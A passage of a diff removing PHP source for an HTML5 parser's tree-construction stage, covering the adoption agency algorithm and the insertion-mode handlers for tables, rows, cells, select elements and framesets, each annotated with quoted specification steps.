$furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) - { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) - { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) - { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) - { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) - { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) - { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) - { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) - { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - 